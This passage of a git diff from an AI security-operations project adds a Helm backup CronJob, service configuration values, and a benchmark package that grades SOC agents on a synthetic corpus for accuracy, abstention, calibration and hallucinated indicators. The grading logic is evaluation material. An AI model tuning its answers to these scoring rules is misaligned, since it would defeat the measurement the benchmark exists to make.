+ # missed run at once the moment it recovers.
+ startingDeadlineSeconds: {{ .Values.backup.startingDeadlineSeconds }}
+ jobTemplate:
+ spec:
+ # A backup that hangs must not silently block the next window; Forbid
+ # above means a stuck job suppresses every subsequent run.
+ activeDeadlineSeconds: {{ .Values.backup.activeDeadlineSeconds }}
+ backoffLimit: {{ .Values.backup.backoffLimit }}
+ template:
+ metadata:
+ labels:
+ {{- include "aisoc.selectorLabels" . | nindent 12 }}
+ app.kubernetes.io/component: backup
+ spec:
+ restartPolicy: Never
+ serviceAccountName: {{ include "aisoc.serviceAccountName" . }}
+ {{- with .Values.global.imagePullSecrets }}
+ imagePullSecrets:
+ {{- toYaml . | nindent 12 }}
+ {{- end }}
+ securityContext:
+ runAsNonRoot: true
+ runAsUser: 1000
+ fsGroup: 1000
+ containers:
+ - name: backup
+ image: "{{ .Values.backup.image.repository }}:{{ .Values.backup.image.tag | default .Chart.AppVersion }}"
+ imagePullPolicy: {{ .Values.backup.image.pullPolicy }}
+ command: ["/app/scripts/backup.sh"]
+ args: ["--component", {{ .Values.backup.component | quote }}]
+ securityContext:
+ allowPrivilegeEscalation: false
+ readOnlyRootFilesystem: true
+ capabilities:
+ drop: ["ALL"]
+ env:
+ - name: BACKUP_S3_BUCKET
+ value: {{ .Values.backup.s3.bucket | quote }}
+ - name: BACKUP_S3_PREFIX
+ value: {{ .Values.backup.s3.prefix | quote }}
+ - name: BACKUP_RETENTION_DAYS
+ value: {{ .Values.backup.retentionDays | quote }}
+ {{- if .Values.backup.s3.endpointUrl }}
+ - name: AWS_ENDPOINT_URL
+ value: {{ .Values.backup.s3.endpointUrl | quote }}
+ {{- end }}
+ - name: AWS_DEFAULT_REGION
+ value: {{ .Values.backup.s3.region | quote }}
+ # Encryption is on by default in backup.sh and the script
+ # refuses to start without a key, which is deliberate: an
+ # operator should not discover the artifacts were plaintext
+ # after the bucket is exposed.
+ - name: BACKUP_ENCRYPTION
+ value: {{ .Values.backup.encryption.mode | quote }}
+ {{- if .Values.backup.encryption.existingSecret }}
+ - name: BACKUP_ENCRYPTION_KEY
+ valueFrom:
+ secretKeyRef:
+ name: {{ .Values.backup.encryption.existingSecret }}
+ key: {{ .Values.backup.encryption.secretKey }}
+ {{- end }}
+ {{- range $name, $ref := .Values.backup.secretEnv }}
+ - name: {{ $name }}
+ valueFrom:
+ secretKeyRef:
+ name: {{ $ref.secretName }}
+ key: {{ $ref.secretKey }}
+ {{- end }}
+ {{- range $name, $value := .Values.backup.extraEnv }}
+ - name: {{ $name }}
+ value: {{ $value | quote }}
+ {{- end }}
+ volumeMounts:
+ # readOnlyRootFilesystem is on, and the script stages the dump
+ # under /tmp before uploading.
+ - name: scratch
+ mountPath: /tmp
+ resources:
+ {{- toYaml .Values.backup.resources | nindent 16 }}
+ volumes:
+ - name: scratch
+ emptyDir:
+ sizeLimit: {{ .Values.backup.scratchSize }}
+{{- end }}
diff --git a/infra/helm/aisoc/values.yaml b/infra/helm/aisoc/values.yaml
index 94301119e..56750e7af 100644
--- a/infra/helm/aisoc/values.yaml
+++ b/infra/helm/aisoc/values.yaml
@@ -270,6 +270,147 @@ ingress:
hosts:
- aisoc.example.com
+# ─── Standalone service deployments ───────────────────────────────────────────
+# ueba-deployment.yaml, honeytokens-deployment.yaml and purple-team-deployment.yaml
+# have shipped referencing .Values.ueba / .Values.honeytokens / .Values.purpleTeam,
+# none of which existed here. `helm lint` failed and `helm template` errored on
+# a nil pointer, so the chart could not be rendered at all, let alone installed —
+# which is also why nobody noticed the missing keys.
+ueba:
+ enabled: true
+ replicaCount: 2
+ image:
+ repository: ghcr.io/beenuar/aisoc-ueba
+ tag: "" # defaults to Chart.AppVersion
+ pullPolicy: IfNotPresent
+ hpa:
+ enabled: false
+ minReplicas: 2
+ maxReplicas: 6
+ targetCPU: 70
+ resources:
+ requests:
+ cpu: 200m
+ memory: 512Mi
+ limits:
+ cpu: 1000m
+ memory: 2Gi
+
+honeytokens:
+ enabled: false
+ replicaCount: 1
+ tokenTtlDays: 90
+ otelEndpoint: ""
+ image:
+ repository: ghcr.io/beenuar/aisoc-honeytokens
+ tag: ""
+ pullPolicy: IfNotPresent
+ autoscaling:
+ enabled: false
+ minReplicas: 1
+ maxReplicas: 3
+ targetCPUUtilizationPercentage: 70
+ resources:
+ requests:
+ cpu: 100m
+ memory: 256Mi
+ limits:
+ cpu: 500m
+ memory: 1Gi
+
+purpleTeam:
+ enabled: false
+ replicaCount: 1
+ calderaUrl: ""
+ artAtomicsPath: /opt/atomics
+ otelEndpoint: ""
+ image:
+ repository: ghcr.io/beenuar/aisoc-purple-team
+ tag: ""
+ pullPolicy: IfNotPresent
+ autoscaling:
+ enabled: false
+ minReplicas: 1
+ maxReplicas: 3
+ targetCPUUtilizationPercentage: 70
+ resources:
+ requests:
+ cpu: 100m
+ memory: 256Mi
+ limits:
+ cpu: 500m
+ memory: 1Gi
+
+# Referenced by ueba-deployment.yaml; also absent until now.
+kafka:
+ bootstrapServers: "kafka:9092"
+
+otel:
+ endpoint: ""
+
+# ─── Scheduled backups ────────────────────────────────────────────────────────
+# scripts/backup.sh has been correct and unscheduled: every deployment guide
+# said "run it on a cron" and none shipped one, so the realistic state of a
+# self-hosted install was no backups. This is the same script the DR gate
+# exercises in CI, so what runs here is what has been proven to restore.
+#
+# Disabled by default because it needs a bucket, credentials and an encryption
+# key that only the operator can supply — and a CronJob that fails every night
+# is worse than an absent one.
+backup:
+ enabled: false
+ # 02:30 daily. The RPO this implies is the schedule interval: anything
+ # ingested since the last successful run is lost in a full-restore scenario.
+ schedule: "30 2 * * *"
+ timeZone: "UTC"
+ component: all # postgres|clickhouse|plugins|neo4j|qdrant|redis|all
+ retentionDays: 30
+
+ image:
+ repository: ghcr.io/beenuar/aisoc-core-api
+ tag: "" # defaults to Chart.AppVersion
+ pullPolicy: IfNotPresent
+
+ s3:
+ bucket: "" # s3://your-bucket (required)
+ prefix: "aisoc-backups"
+ region: "us-east-1"
+ endpointUrl: "" # set for R2 / MinIO / any S3-compatible store
+
+ encryption:
+ mode: "on" # "off" only if the bucket provides equivalent protection
+ existingSecret: "" # holds the 64-hex AES-256-GCM key
+ secretKey: "backup-encryption-key"
+
+ # Credentials and store URLs, by secret reference. Values are never inlined
+ # here: a backup job reads every database in the deployment, so its env is
+ # the highest-value secret set in the chart.
+ # AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY / POSTGRES_URL /
+ # CLICKHOUSE_PASSWORD / NEO4J_PASSWORD / REDIS_URL
+ secretEnv: {}
+ # AWS_ACCESS_KEY_ID:
+ # secretName: aisoc-backup-secret
+ # secretKey: aws-access-key-id
+
+ # Non-secret endpoints (NEO4J_URI, NEO4J_HTTP_URL, QDRANT_URL, CLICKHOUSE_HOST…).
+ extraEnv: {}
+
+ # A stuck job blocks every later run because concurrencyPolicy is Forbid.
+ activeDeadlineSeconds: 7200
+ startingDeadlineSeconds: 3600
+ backoffLimit: 2
+ successfulJobsHistoryLimit: 3
+ failedJobsHistoryLimit: 7
+ scratchSize: 20Gi
+
+ resources:
+ requests:
+ cpu: 100m
+ memory: 256Mi
+ limits:
+ cpu: 1000m
+ memory: 2Gi
+
# ─── Bundled Infrastructure (disable in production; use managed services) ─────
postgresql:
enabled: false
diff --git a/packages/aisoc-benchmark/README.md b/packages/aisoc-benchmark/README.md
new file mode 100644
index 000000000..9543ceb6e
--- /dev/null
+++ b/packages/aisoc-benchmark/README.md
@@ -0,0 +1,105 @@
+# aisoc-benchmark
+
+Grade **any** SOC agent on a common corpus — including one that is not ours.
+
+A benchmark a vendor cannot run against their own product is a self-report.
+This package is the boundary that makes it a standard instead: implement one
+method, get graded on the same incidents by the same code.
+
+```bash
+pip install -e packages/aisoc-benchmark # published to PyPI in v8.1
+
+aisoc-benchmark corpus # what is in the corpus
+aisoc-benchmark run --agent-url https://your-agent/investigate \
+ --agent-name your-product --agent-version 2.1
+```
+
+## Implementing an agent
+
+One method. How your agent reaches evidence — model, tools, prompts,
+architecture — is deliberately out of scope: prescribing them would grade
+architecture rather than outcomes, and would exclude every agent that does
+not look like ours.
+
+```python
+from aisoc_benchmark import AgentVerdict, BenchmarkIncident
+
+class MyAgent:
+ name = "my-product"
+ version = "2.1"
+
+ async def investigate(self, incident: BenchmarkIncident) -> AgentVerdict:
+ result = await my_platform.triage(incident.as_dict())
+ return AgentVerdict(
+ disposition=result.verdict, # malicious|suspicious|benign|unknown
+ confidence=result.confidence,
+ techniques=result.attack_techniques,
+ cited_indicators=result.indicators, # graded against the evidence
+ proposed_actions=result.actions,
+ narrative=result.summary,
+ )
+```
+
+Or expose an HTTP endpoint that takes the incident as JSON and returns the
+same shape, and point `--agent-url` at it.
+
+## What is measured, and why
+
+Accuracy is the least interesting number here. Three others are the reason
+this exists:
+
+**Hallucination rate** — the fraction of concrete indicators an agent cites
+that appear nowhere in the evidence it was given. Measured, not estimated.
+An agent that invents a plausible IP address to justify a verdict is doing
+the most dangerous thing an analyst-replacement can do, and no accuracy
+figure reveals it. Graded on abstentions too: declining to conclude while
+citing an invented address is still inventing it.
+
+**Abstention rate** — published beside accuracy, and accuracy is computed
+over answered incidents only. Otherwise an agent raises its score by
+abstaining more, and "I do not know" is a correct answer that a
+forced-choice benchmark punishes — which trains agents to guess.
+
+**Calibration gap** — mean confidence when right minus mean confidence when
+wrong. Near zero means the confidence score carries no information, and
+everything downstream that gates on a threshold is gating on noise.
+
+Plus containment accuracy (any overlap with the expected actions counts —
+requiring an exact set would grade an agent on matching our vocabulary
+rather than on containing the incident), latency, tokens and cost per
+incident.
+
+Depth — tool calls, distinct tools — is reported but **not scored**. An
+agent that reached the right answer in one step is not worse than one that
+took twelve. Depth explains a score; it is not a score.
+
+## Provenance
+
+Every incident declares where it came from, and the runner refuses a corpus
+that does not. The shipped corpus is `synthetic: 200` and says so, first
+line of every report, before any figure.
+
+A number computed over synthetic incidents is a synthetic number. A
+scoreboard that omits that is misleading even when every figure in it is
+arithmetically correct, and a reader who sees `0.94` before they see
+`synthetic` has already formed an impression the caveat will not undo.
+
+Valid values: `synthetic`, `public-dataset`, `real-anonymised`,
+`adversary-emulation`.
+
+## Corpus
+
+`corpus/soc-agent-benchmark-v1.json`, generated by `build_corpus.py` from the
+in-tree eval data rather than hand-maintained — two hand-edited copies of 200
+incidents drift within a release, and the published figure then describes a
+corpus nobody has.
+
+## Failure handling
+
+An agent that raises, times out or returns nonsense is scored as an
+**abstention with the failure named**, never as a wrong answer and never as
+an exception that ends the run. A harness that dies on one bad response
+grades nothing, and the entrant reasonably assumes the fault is ours.
+
+Latency is measured by the harness rather than trusted from the agent: it is
+the one number an entrant has an incentive to shade.
diff --git a/packages/aisoc-benchmark/aisoc_benchmark/__init__.py b/packages/aisoc-benchmark/aisoc_benchmark/__init__.py
new file mode 100644
index 000000000..6c4c4f464
--- /dev/null
+++ b/packages/aisoc-benchmark/aisoc_benchmark/__init__.py
@@ -0,0 +1,25 @@
+"""Run the SOC agent benchmark against any agent, including one that is not ours.
+
+A benchmark a vendor cannot run against their own product is a self-report.
+This package is the boundary that makes it a standard instead: implement one
+method, get graded on the same corpus by the same code.
+"""
+
+from .adapter import AgentVerdict, BenchmarkIncident, HTTPAgent, SOCAgent
+from .metrics import BenchmarkResult, IncidentScore, aggregate, score_incident
+from .runner import format_report, load_corpus, run_benchmark
+
+__all__ = [
+ "AgentVerdict",
+ "BenchmarkIncident",
+ "BenchmarkResult",
+ "HTTPAgent",
+ "IncidentScore",
+ "SOCAgent",
+ "aggregate",
+ "format_report",
+ "load_corpus",
+ "run_benchmark",
+ "score_incident",
+]
+__version__ = "0.1.0"
diff --git a/packages/aisoc-benchmark/aisoc_benchmark/adapter.py b/packages/aisoc-benchmark/aisoc_benchmark/adapter.py
new file mode 100644
index 000000000..dbf6f2cc5
--- /dev/null
+++ b/packages/aisoc-benchmark/aisoc_benchmark/adapter.py
@@ -0,0 +1,200 @@
+"""The adapter protocol: what any SOC agent must implement to be graded.
+
+Pillar 4. A benchmark a vendor cannot run against their own product is a
+self-report. The existing harness grades the in-tree agent by importing it,
+which means the numbers are only ever about AiSOC — and a scoreboard with one
+entrant is a marketing page.
+
+This is the boundary that makes it a standard instead. An agent is anything
+that takes an incident and returns a verdict, so the protocol is deliberately
+small: four fields in, five fields out, no imports from this repository
+required. A vendor implements it in twenty lines against their own API and
+gets graded on the same corpus by the same code.
+
+Three deliberate exclusions:
+
+* **No tool interface.** How an agent reaches evidence is its business. The
+ benchmark supplies the incident and the telemetry corpus and grades the
+ answer; prescribing the tools would grade architecture rather than
+ outcomes, and would exclude every agent that does not look like ours.
+* **No prompt.** Same reason.
+* **No partial credit for effort.** An agent that called forty tools and
+ concluded wrongly scores as wrongly as one that guessed. Depth is reported
+ separately because it explains a score; it is not a score.
+
+What *is* prescribed is the shape of the answer, because the metrics depend
+on it — specifically on being able to tell a confident wrong answer from an
+abstention, and a cited indicator from an invented one.
+"""
+
+from __future__ import annotations
+
+from dataclasses import dataclass, field
+from typing import Any, Protocol, runtime_checkable
+
+
+@dataclass(frozen=True)
+class BenchmarkIncident:
+ """One incident to investigate.
+
+ Supplied verbatim to the agent. ``telemetry`` is the events the agent may
+ reason over, so an agent with no live estate can still be graded — the
+ corpus is the estate.
+ """
+
+ incident_id: str
+ title: str
+ description: str
+ severity: str
+ raw_alert: dict[str, Any] = field(default_factory=dict)
+ telemetry: list[dict[str, Any]] = field(default_factory=list)
+
+ def as_dict(self) -> dict[str, Any]:
+ return {
+ "incident_id": self.incident_id,
+ "title": self.title,
+ "description": self.description,
+ "severity": self.severity,
+ "raw_alert": self.raw_alert,
+ "telemetry": self.telemetry,
+ }
+
+
+@dataclass
+class AgentVerdict:
+ """What an agent returns. Every field earns its place in a metric.
+
+ ``abstained`` exists because "I do not know" is a correct answer that a
+ forced-choice benchmark punishes, and punishing it trains agents to
+ guess. An abstention scores neither right nor wrong, and the abstention
+ rate is published alongside accuracy so the two cannot be traded off
+ invisibly.
+ """
+
+ #: malicious | suspicious | benign | unknown
+ disposition: str = "unknown"
+
+ #: 0.0-1.0. Used for calibration, not for credit: a confidently wrong
+ #: answer is worse than a hedged one and the metrics say so.
+ confidence: float = 0.0
+
+ #: ATT&CK technique ids the agent attributes to the incident.
+ techniques: list[str] = field(default_factory=list)
+
+ #: Concrete indicators the agent's reasoning relies on — addresses,
+ #: hashes, hostnames, accounts. Graded against the evidence it was given.
+ #: This is how hallucination is measured rather than estimated.
+ cited_indicators: list[str] = field(default_factory=list)
+
+ #: Actions the agent would take. Graded for containment appropriateness.
+ proposed_actions: list[str] = field(default_factory=list)
+
+ #: Free-text reasoning. Not scored directly; retained so a result can be
+ #: read by a human who disagrees with the score.
+ narrative: str = ""
+
+ #: True when the agent declined to reach a verdict.
+ abstained: bool = False
+
+ #: Optional, and reported rather than scored. An agent that reached the
+ #: right answer in one step is not worse than one that took twelve.
+ tool_calls: int = 0
+ distinct_tools: int = 0
+ latency_ms: int = 0
+ tokens: int = 0
+ usd_cost: float = 0.0
+
+ @classmethod
+ def from_dict(cls, payload: dict[str, Any]) -> AgentVerdict:
+ """Build from a JSON response, tolerating an incomplete one.
+
+ Missing fields default rather than raise: an adapter under
+ development should score badly, not crash the run. A crash is
+ indistinguishable from a harness bug, and the entrant will assume it
+ is ours.
+ """
+ return cls(
+ disposition=str(payload.get("disposition", "unknown")).lower(),
+ confidence=float(payload.get("confidence", 0.0) or 0.0),
+ techniques=[str(t).upper() for t in (payload.get("techniques") or [])],
+ cited_indicators=[str(i) for i in (payload.get("cited_indicators") or [])],
+ proposed_actions=[str(a) for a in (payload.get("proposed_actions") or [])],
+ narrative=str(payload.get("narrative", "")),
+ abstained=bool(payload.get("abstained", False)),
+ tool_calls=int(payload.get("tool_calls", 0) or 0),
+ distinct_tools=int(payload.get("distinct_tools", 0) or 0),
+ latency_ms=int(payload.get("latency_ms", 0) or 0),
+ tokens=int(payload.get("tokens", 0) or 0),
+ usd_cost=float(payload.get("usd_cost", 0.0) or 0.0),
+ )
+
+
+@runtime_checkable
+class SOCAgent(Protocol):
+ """Implement this to be graded.
+
+ One method. Everything else about the agent — model, tools, prompts,
+ architecture — is out of scope by design.
+ """
+
+ name: str
+ version: str
+
+ async def investigate(self, incident: BenchmarkIncident) -> AgentVerdict:
+ """Investigate one incident and return a verdict.
+
+ Must not raise. An agent that cannot reach a verdict should return
+ ``AgentVerdict(abstained=True)`` with a narrative explaining why: the
+ benchmark distinguishes "declined" from "crashed", and an exception
+ is scored as a crash.
+ """
+ ...
+
+
+class HTTPAgent:
+ """Adapter for an agent behind an HTTP endpoint.
+
+ The path most entrants will take: point the benchmark at a URL, get
+ graded. Posts the incident as JSON and reads an ``AgentVerdict``-shaped
+ response.
+
+ A failed call is an abstention with the failure named, not an exception.
+ A harness that dies on one bad response grades nothing, and the entrant
+ reasonably assumes the fault is ours.
+ """
+
+ def __init__(
+ self,
+ url: str,
+ *,
+ name: str = "http-agent",
+ version: str = "unknown",
+ headers: dict[str, str] | None = None,
+ timeout_seconds: float = 120.0,
+ ) -> None:
+ self.url = url
+ self.name = name
+ self.version = version
+ self.headers = headers or {}
+ self.timeout_seconds = timeout_seconds
+
+ async def investigate(self, incident: BenchmarkIncident) -> AgentVerdict:
+ import httpx
+
+ try:
+ async with httpx.AsyncClient(timeout=self.timeout_seconds) as client:
+ response = await client.post(self.url, json=incident.as_dict(), headers=self.headers)
+ response.raise_for_status()
+ payload = response.json()
+ except Exception as exc:
+ return AgentVerdict(
+ abstained=True,
+ narrative=(f"adapter error: {type(exc).__name__}: {exc}. " f"Scored as an abstention, not as a wrong answer."),
+ )
+
+ if not isinstance(payload, dict):
+ return AgentVerdict(
+ abstained=True,
+ narrative=f"adapter returned {type(payload).__name__}, expected an object",
+ )
+ return AgentVerdict.from_dict(payload)
diff --git a/packages/aisoc-benchmark/aisoc_benchmark/cli.py b/packages/aisoc-benchmark/aisoc_benchmark/cli.py
new file mode 100644
index 000000000..6b07b0947
--- /dev/null
+++ b/packages/aisoc-benchmark/aisoc_benchmark/cli.py
@@ -0,0 +1,84 @@
+"""``aisoc-benchmark`` — grade any SOC agent on the same corpus.
+
+ aisoc-benchmark run --agent-url https://your-agent/investigate \\
+ --corpus corpus/soc-agent-benchmark-v1.json
+
+The point of the command is that it does not import AiSOC. A vendor points
+it at their own endpoint and gets the same numbers computed by the same
+code, which is what separates a benchmark from a self-report.
+"""
+
+from __future__ import annotations
+
+import argparse
+import asyncio
+import json
+import sys
+from pathlib import Path
+
+from .adapter import HTTPAgent
+from .runner import CorpusError, format_report, load_corpus, run_benchmark
+
+DEFAULT_CORPUS = Path(__file__).resolve().parent.parent / "corpus" / "soc-agent-benchmark-v1.json"
+
+
+def main(argv: list[str] | None = None) -> int:
+ parser = argparse.ArgumentParser(prog="aisoc-benchmark", description=__doc__)
+ sub = parser.add_subparsers(dest="command", required=True)
+
+ run = sub.add_parser("run", help="Grade an agent over the corpus.")
+ run.add_argument("--agent-url", required=True, help="POST endpoint taking an incident.")
+ run.add_argument("--agent-name", default="http-agent")
+ run.add_argument("--agent-version", default="unknown")
+ run.add_argument("--corpus", type=Path, default=DEFAULT_CORPUS)
+ run.add_argument("--header", action="append", default=[], metavar="K=V")
+ run.add_argument("--concurrency", type=int, default=4)
+ run.add_argument("--limit", type=int, default=None)
+ run.add_argument("--json", action="store_true", help="Emit JSON instead of a report.")
+ run.add_argument("--out", type=Path, help="Write the JSON result here as well.")
+
+ describe = sub.add_parser("corpus", help="Describe the corpus without running anything.")
+ describe.add_argument("--corpus", type=Path, default=DEFAULT_CORPUS)
+
+ args = parser.parse_args(argv)
+
+ if args.command == "corpus":
+ try:
+ incidents, _, provenance = load_corpus(args.corpus)
+ except CorpusError as exc:
+ print(f"aisoc-benchmark: {exc}", file=sys.stderr)
+ return 1
+ print(f"{len(incidents)} incidents in {args.corpus}")
+ for source, count in sorted(provenance.items()):
+ print(f" {source:<20} {count}")
+ return 0
+
+ headers: dict[str, str] = {}
+ for item in args.header:
+ key, _, value = item.partition("=")
+ if key and value:
+ headers[key] = value
+
+ agent = HTTPAgent(
+ args.agent_url,
+ name=args.agent_name,
+ version=args.agent_version,
+ headers=headers,
+ )
+
+ try:
+ result = asyncio.run(run_benchmark(agent, args.corpus, concurrency=args.concurrency, limit=args.limit))
+ except CorpusError as exc:
+ print(f"aisoc-benchmark: {exc}", file=sys.stderr)
+ return 1
+
+ payload = result.as_dict()
+ if args.out:
+ args.out.write_text(json.dumps(payload, indent=2) + "\n", encoding="utf-8")
+
+ print(json.dumps(payload, indent=2) if args.json else format_report(result))
+ return 0
+
+
+if __name__ == "__main__":
+ raise SystemExit(main())
diff --git a/packages/aisoc-benchmark/aisoc_benchmark/metrics.py b/packages/aisoc-benchmark/aisoc_benchmark/metrics.py
new file mode 100644
index 000000000..a0796e2fc
--- /dev/null
+++ b/packages/aisoc-benchmark/aisoc_benchmark/metrics.py
@@ -0,0 +1,248 @@
+"""Benchmark metrics: accuracy, hallucination, containment, cost.
+
+Pillar 4. The existing scoreboard publishes MITRE accuracy and three
+substrate self-consistency numbers. Three metrics the plan calls for are
+absent, and each is absent for the same reason: they are the ones that make
+an agent look worse.
+
+**Hallucination rate.** Measured, not estimated: the fraction of concrete
+indicators an agent cites that do not appear anywhere in the evidence it was
+given. An agent that invents a plausible IP address to justify a verdict is
+doing the single most dangerous thing an analyst-replacement can do, and no
+accuracy number reveals it.
+
+**Containment accuracy.** Whether the proposed action matches what the
+incident needed. An agent that reaches the right verdict and proposes
+isolating the wrong host has not helped.
+
+**Calibration.** Confidence is only useful if it tracks correctness.
+Published as the gap between mean confidence on correct answers and on wrong
+ones; a small or negative gap means the confidence score carries no
+information, and everything downstream that gates on a threshold is gating
+on noise.
+
+Abstention is treated as its own outcome throughout rather than folded into
+either accuracy or error. "I do not know" is a correct answer that a
+forced-choice benchmark punishes, and punishing it trains agents to guess.
+The abstention rate is published beside accuracy so the two cannot be traded
+off invisibly.
+"""
+
+from __future__ import annotations
+
+import re
+from dataclasses import asdict, dataclass, field
+from typing import Any
+
+#: Indicator shapes we can check against evidence. Free-text claims are not
+#: graded: "the process behaved suspiciously" is not checkable, and scoring
+#: it would measure phrasing.
+_INDICATOR_PATTERNS = (
+ re.compile(r"\b(?:\d{1,3}\.){3}\d{1,3}\b"), # IPv4
+ re.compile(r"\b[a-fA-F0-9]{64}\b"), # SHA-256
+ re.compile(r"\b[a-fA-F0-9]{40}\b"), # SHA-1
+ re.compile(r"\b[a-fA-F0-9]{32}\b"), # MD5
+ re.compile(r"\b[a-zA-Z0-9-]+\.[a-zA-Z]{2,}\b"), # domain-ish
+)
+
+
+def is_checkable_indicator(value: str) -> bool:
+ """Whether a cited indicator has a shape we can verify against evidence."""
+ text = (value or "").strip()
+ if not text:
+ return False
+ return any(pattern.search(text) for pattern in _INDICATOR_PATTERNS)
+
+
+def evidence_corpus(incident: Any) -> str:
+ """Everything the agent was given, flattened for containment checks."""
+ parts = [
+ str(getattr(incident, "title", "")),
+ str(getattr(incident, "description", "")),
+ repr(getattr(incident, "raw_alert", {})),
+ repr(getattr(incident, "telemetry", [])),
+ ]
+ return " ".join(parts).lower()
+
+
+@dataclass
+class IncidentScore:
+ """One incident's outcome. Kept per-incident so a published aggregate
+ can be traced back to the cases that produced it."""
+
+ incident_id: str
+ abstained: bool = False
+ disposition_correct: bool = False
+ technique_recall: float = 0.0
+ technique_precision: float = 0.0
+ hallucinated_indicators: list[str] = field(default_factory=list)
+ cited_checkable: int = 0
+ containment_correct: bool | None = None
+ confidence: float = 0.0
+ latency_ms: int = 0
+ tokens: int = 0
+ usd_cost: float = 0.0
+ distinct_tools: int = 0
+
+
+@dataclass
+class BenchmarkResult:
+ """Aggregate scores. Every field is defined so a reader can reproduce it."""
+
+ agent_name: str
+ agent_version: str
+ incidents: int = 0
+
+ # Accuracy, computed over answered incidents only. Dividing by the whole
+ # corpus would let an agent raise its score by abstaining more, which is
+ # the exact behaviour the abstention rate exists to expose.
+ disposition_accuracy: float = 0.0
+ technique_recall: float = 0.0
+ technique_precision: float = 0.0
+ containment_accuracy: float | None = None
+
+ # Honesty.
+ abstention_rate: float = 0.0
+ hallucination_rate: float = 0.0
+ hallucinated_total: int = 0
+ indicators_checked: int = 0
+
+ # Calibration: mean confidence when right minus mean confidence when
+ # wrong. Near zero means the confidence score carries no information.
+ calibration_gap: float = 0.0
+ mean_confidence_correct: float = 0.0
+ mean_confidence_incorrect: float = 0.0
+
+ # Cost and latency, reported not scored.
+ mean_latency_ms: float = 0.0
+ p95_latency_ms: float = 0.0
+ total_tokens: int = 0
+ total_usd: float = 0.0
+ mean_usd_per_incident: float = 0.0
+ mean_distinct_tools: float = 0.0
+
+ # Provenance. A corpus of synthetic incidents produces a synthetic
+ # number, and a scoreboard that does not say so is misleading even when
+ # every figure in it is arithmetically correct.
+ corpus_provenance: dict[str, int] = field(default_factory=dict)
+
+ per_incident: list[IncidentScore] = field(default_factory=list)
+
+ def as_dict(self, *, include_per_incident: bool = False) -> dict[str, Any]:
+ payload = asdict(self)
+ if not include_per_incident:
+ payload.pop("per_incident", None)
+ return payload
+
+
+def score_incident(
+ incident: Any,
+ verdict: Any,
+ expected: dict[str, Any],
+) -> IncidentScore:
+ """Grade one verdict against ground truth."""
+ score = IncidentScore(
+ incident_id=str(getattr(incident, "incident_id", "")),
+ abstained=bool(getattr(verdict, "abstained", False)),
+ confidence=float(getattr(verdict, "confidence", 0.0) or 0.0),
+ latency_ms=int(getattr(verdict, "latency_ms", 0) or 0),
+ tokens=int(getattr(verdict, "tokens", 0) or 0),
+ usd_cost=float(getattr(verdict, "usd_cost", 0.0) or 0.0),
+ distinct_tools=int(getattr(verdict, "distinct_tools", 0) or 0),
+ )
+
+ # Hallucination is graded even on abstention: an agent that declines to
+ # reach a verdict while citing an invented address has still invented it,
+ # and that is the behaviour worth catching.
+ corpus = evidence_corpus(incident)
+ for indicator in getattr(verdict, "cited_indicators", None) or []:
+ text = str(indicator).strip()
+ if not is_checkable_indicator(text):
+ continue
+ score.cited_checkable += 1
+ if text.lower() not in corpus:
+ score.hallucinated_indicators.append(text)
+
+ if score.abstained:
+ return score
+
+ expected_disposition = str(expected.get("disposition", "")).lower()
+ if expected_disposition:
+ score.disposition_correct = str(getattr(verdict, "disposition", "")).lower() == expected_disposition
+
+ expected_techniques = {str(t).upper() for t in (expected.get("techniques") or [])}
+ predicted = {str(t).upper() for t in (getattr(verdict, "techniques", None) or [])}
+ if expected_techniques:
+ hits = len(expected_techniques & predicted)
+ score.technique_recall = hits / len(expected_techniques)
+ score.technique_precision = hits / len(predicted) if predicted else 0.0
+
+ expected_actions = {str(a).lower() for a in (expected.get("actions") or [])}
+ if expected_actions:
+ proposed = {str(a).lower() for a in (getattr(verdict, "proposed_actions", None) or [])}
+ # Any overlap counts. Requiring an exact set would grade an agent on
+ # matching our action vocabulary rather than on containing the
+ # incident, and a vendor's verbs are legitimately their own.
+ score.containment_correct = bool(expected_actions & proposed)
+
+ return score
+
+
+def _percentile(values: list[float], fraction: float) -> float:
+ if not values:
+ return 0.0
+ ordered = sorted(values)
+ index = min(len(ordered) - 1, int(round(fraction * (len(ordered) - 1))))
+ return ordered[index]
+
+
+def aggregate(
+ agent_name: str,
+ agent_version: str,
+ scores: list[IncidentScore],
+ *,
+ corpus_provenance: dict[str, int] | None = None,
+) -> BenchmarkResult:
+ """Roll per-incident scores into the published figures."""
+ result = BenchmarkResult(
+ agent_name=agent_name,
+ agent_version=agent_version,
+ incidents=len(scores),
+ per_incident=scores,
+ corpus_provenance=dict(corpus_provenance or {}),
+ )
+ if not scores:
+ return result
+
+ answered = [s for s in scores if not s.abstained]
+ result.abstention_rate = (len(scores) - len(answered)) / len(scores)
+
+ if answered:
+ result.disposition_accuracy = sum(s.disposition_correct for s in answered) / len(answered)
+ result.technique_recall = sum(s.technique_recall for s in answered) / len(answered)
+ result.technique_precision = sum(s.technique_precision for s in answered) / len(answered)
+
+ containment = [s for s in answered if s.containment_correct is not None]
+ if containment:
+ result.containment_accuracy = sum(bool(s.containment_correct) for s in containment) / len(containment)
+
+ correct = [s.confidence for s in answered if s.disposition_correct]
+ wrong = [s.confidence for s in answered if not s.disposition_correct]
+ result.mean_confidence_correct = sum(correct) / len(correct) if correct else 0.0
+ result.mean_confidence_incorrect = sum(wrong) / len(wrong) if wrong else 0.0
+ result.calibration_gap = result.mean_confidence_correct - result.mean_confidence_incorrect
+
+ # Hallucination spans every incident, answered or not.
+ result.indicators_checked = sum(s.cited_checkable for s in scores)
+ result.hallucinated_total = sum(len(s.hallucinated_indicators) for s in scores)
+ result.hallucination_rate = result.hallucinated_total / result.indicators_checked if result.indicators_checked else 0.0
+
+ latencies = [float(s.latency_ms) for s in scores]
+ result.mean_latency_ms = sum(latencies) / len(latencies)
+ result.p95_latency_ms = _percentile(latencies, 0.95)
+ result.total_tokens = sum(s.tokens for s in scores)
+ result.total_usd = round(sum(s.usd_cost for s in scores), 6)
+ result.mean_usd_per_incident = round(result.total_usd / len(scores), 6)
+ result.mean_distinct_tools = sum(s.distinct_tools for s in scores) / len(scores)
+
+ return result
diff --git a/packages/aisoc-benchmark/aisoc_benchmark/runner.py b/packages/aisoc-benchmark/aisoc_benchmark/runner.py
new file mode 100644
index 000000000..b82c7ac8a
--- /dev/null
+++ b/packages/aisoc-benchmark/aisoc_benchmark/runner.py
@@ -0,0 +1,199 @@
+"""Load a corpus, run an agent over it, publish the numbers.
+
+The corpus carries **provenance per incident**, not as a footnote. A figure
+computed over synthetic incidents is a synthetic figure, and a scoreboard
+that omits that is misleading even when every number in it is arithmetically
